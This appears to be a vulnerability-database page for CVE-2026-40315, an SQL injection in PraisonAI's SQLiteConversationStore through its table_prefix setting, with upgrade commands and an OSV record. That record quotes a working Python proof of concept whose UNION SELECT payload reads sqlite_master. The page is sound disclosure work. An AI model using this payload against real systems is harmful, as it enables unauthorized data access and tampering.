CVE-2026-40315: PraisonAI SQLiteConversationStore Didn't Validate Table_prefix When Vulnerability
MODERATECVE-2026-40315 is a MODERATE sqliteconversationstore didn't validate table_prefix when vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves sqliteconversationstore didn't validate table_prefix when constructing sql queries. Remediation is available by upgrading affected packages to version 4.5.133.
CVE-2026-40315 at a Glance
How to Fix CVE-2026-40315
To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install PraisonAI>=4.5.133
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show PraisonAI
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-40315, inspect your installed packages using pip:
pip show PraisonAI
Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.133), your application is affected.
Note: The pip show PraisonAI command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-40315 Affected PraisonAI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
PraisonAI
|
PyPI |
< 4.5.133
|
4.5.133
|
References
Frequently Asked Questions
What is CVE-2026-40315?
Which PraisonAI versions are affected?
What version fixes CVE-2026-40315?
Is PraisonAI affected?
What CWE is associated with CVE-2026-40315?
How can I check PyPI dependencies for CVE-2026-40315?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-x783-xp3g-mqhp",
"modified" : "2026-04-14T21:56:08Z",
"published" : "2026-04-10T19:32:00Z",
"aliases" : [ "CVE-2026-40315" ],
"summary" : "PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries",
"details" : "### Summary\n\nThe `table_prefix` configuration value is directly used to construct SQL table identifiers without validation.\n\nIf an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as `sqlite_master`) and tampering with query results.\n\n---\n\n### Details\nThis allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.\n\nThis occurs because `table_prefix` is passed from configuration (`from_yaml` / `from_dict`) into `SQLiteConversationStore` and directly concatenated into SQL queries via f-strings:\n\n```python\nsessions_table = f\"{table_prefix}sessions\"\n```\n\nThis value is then used in queries such as:\n\n```sql\nSELECT * FROM {self.sessions_table}\n```\n\nSince SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.\n\n\n\nThe vulnerability originates from configuration input and propagates through the following flow:\n\n* **Source:** [config.py](https://github.com/MervinPraison/PraisonAI/blob/fde17acdc89cafd97ff49e9ddc81777b4445850f/src/praisonai/praisonai/persistence/config.py)\n (`from_yaml` / `from_dict`) accepts external configuration input\n\n* **Propagation:** [factory.py](https://github.com/MervinPraison/PraisonAI/blob/fde17acdc89cafd97ff49e9ddc81777b4445850f/src/praisonai/praisonai/persistence/factory.py)\n (`create_stores_from_config`) passes `conversation_options` without validation\n\n* **Sink:** [sqlite.py](https://github.com/MervinPraison/PraisonAI/blob/5ed5f1a6a96c829527abed15ac6d6166aafc6abd/src/praisonai/praisonai/persistence/conversation/sqlite.py)\n Constructs SQL queries using f-strings with identifiers derived from `table_prefix`\n\nAs a result, attacker-controlled `table_prefix` is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.\n\n### PoC\n\n#### 1. Exploit Code\nThe PoC demonstrates that attacker-controlled `table_prefix` is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: SQL identifier injection via SQLiteConversationStore.table_prefix\n\nThis demonstrates query-structure manipulation when table_prefix is attacker-controlled.\n\"\"\"\n\nimport os\nimport tempfile\n\nfrom praisonai.persistence.conversation.sqlite import SQLiteConversationStore\nfrom praisonai.persistence.conversation.base import ConversationSession\n\n\ndef run_poc() -> int:\n fd, db_path = tempfile.mkstemp(suffix=\".db\")\n os.close(fd)\n\n try:\n print(f\"[+] temp db: {db_path}\")\n\n # 1) Create normal schema and insert one legitimate session.\n normal = SQLiteConversationStore(\n path=db_path,\n table_prefix=\"praison_\",\n auto_create_tables=True,\n )\n normal.create_session(\n ConversationSession(\n session_id=\"legit-session\",\n user_id=\"user1\",\n agent_id=\"agent1\",\n name=\"Legit Session\",\n state={},\n metadata={},\n created_at=123.0,\n updated_at=123.0,\n )\n )\n\n normal_rows = normal.list_sessions(limit=10, offset=0)\n print(f\"[+] normal.list_sessions() count: {len(normal_rows)}\")\n print(f\"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}\")\n\n # 2) Malicious prefix (UNION-based query structure manipulation)\n injected_prefix = (\n \"praison_sessions WHERE 1=0 \"\n \"UNION SELECT \"\n \"name as session_id, \"\n \"NULL as user_id, \"\n \"NULL as agent_id, \"\n \"NULL as name, \"\n \"NULL as state, \"\n \"NULL as metadata, \"\n \"0 as created_at, \"\n \"0 as updated_at \"\n \"FROM sqlite_master -- \"\n )\n\n injected = SQLiteConversationStore(\n path=db_path,\n table_prefix=injected_prefix,\n auto_create_tables=False,\n )\n\n injected_rows = injected.list_sessions(limit=10, offset=0)\n injected_ids = [row.session_id for row in injected_rows]\n\n print(f\"[+] injected.list_sessions() count: {len(injected_rows)}\")\n print(f\"[+] injected session_ids (first 10): {injected_ids[:10]}\")\n\n suspicious = any(\n x in injected_ids\n for x in (\"sqlite_schema\", \"sqlite_master\", \"praison_sessions\", \"praison_messages\")\n )\n\n if suspicious or len(injected_rows) > len(normal_rows):\n print(\"[!] PoC succeeded: list_sessions query semantics altered by table_prefix\")\n return 0\n\n print(\"[!] PoC inconclusive: no clear injected rows observed\")\n return 2\n\n finally:\n try:\n os.remove(db_path)\n print(\"[+] temp db removed\")\n except OSError:\n pass\n\n\nif __name__ == \"__main__\":\n raise SystemExit(run_poc())\n```\n\n---\n\n#### 2. Expected Output\n\n\nThe output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.\n\n#### 3. Impact\n\n- SQL Identifier Injection\n- Query result manipulation\n- Internal schema disclosure\n\nExploitable when untrusted input can influence configuration.\n\n---\n#### Reference\n\n- https://github.com/advisories/GHSA-59g6-v3vg-f7wc",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "PraisonAI"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.5.133"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40315"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/commit/0accebb2e3c3ec2fca66bbea0444fb7a35f0b4ef"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.133"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-89" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-10T19:32:00Z",
"nvd_published_at" : "2026-04-14T04:17:16Z"
}
}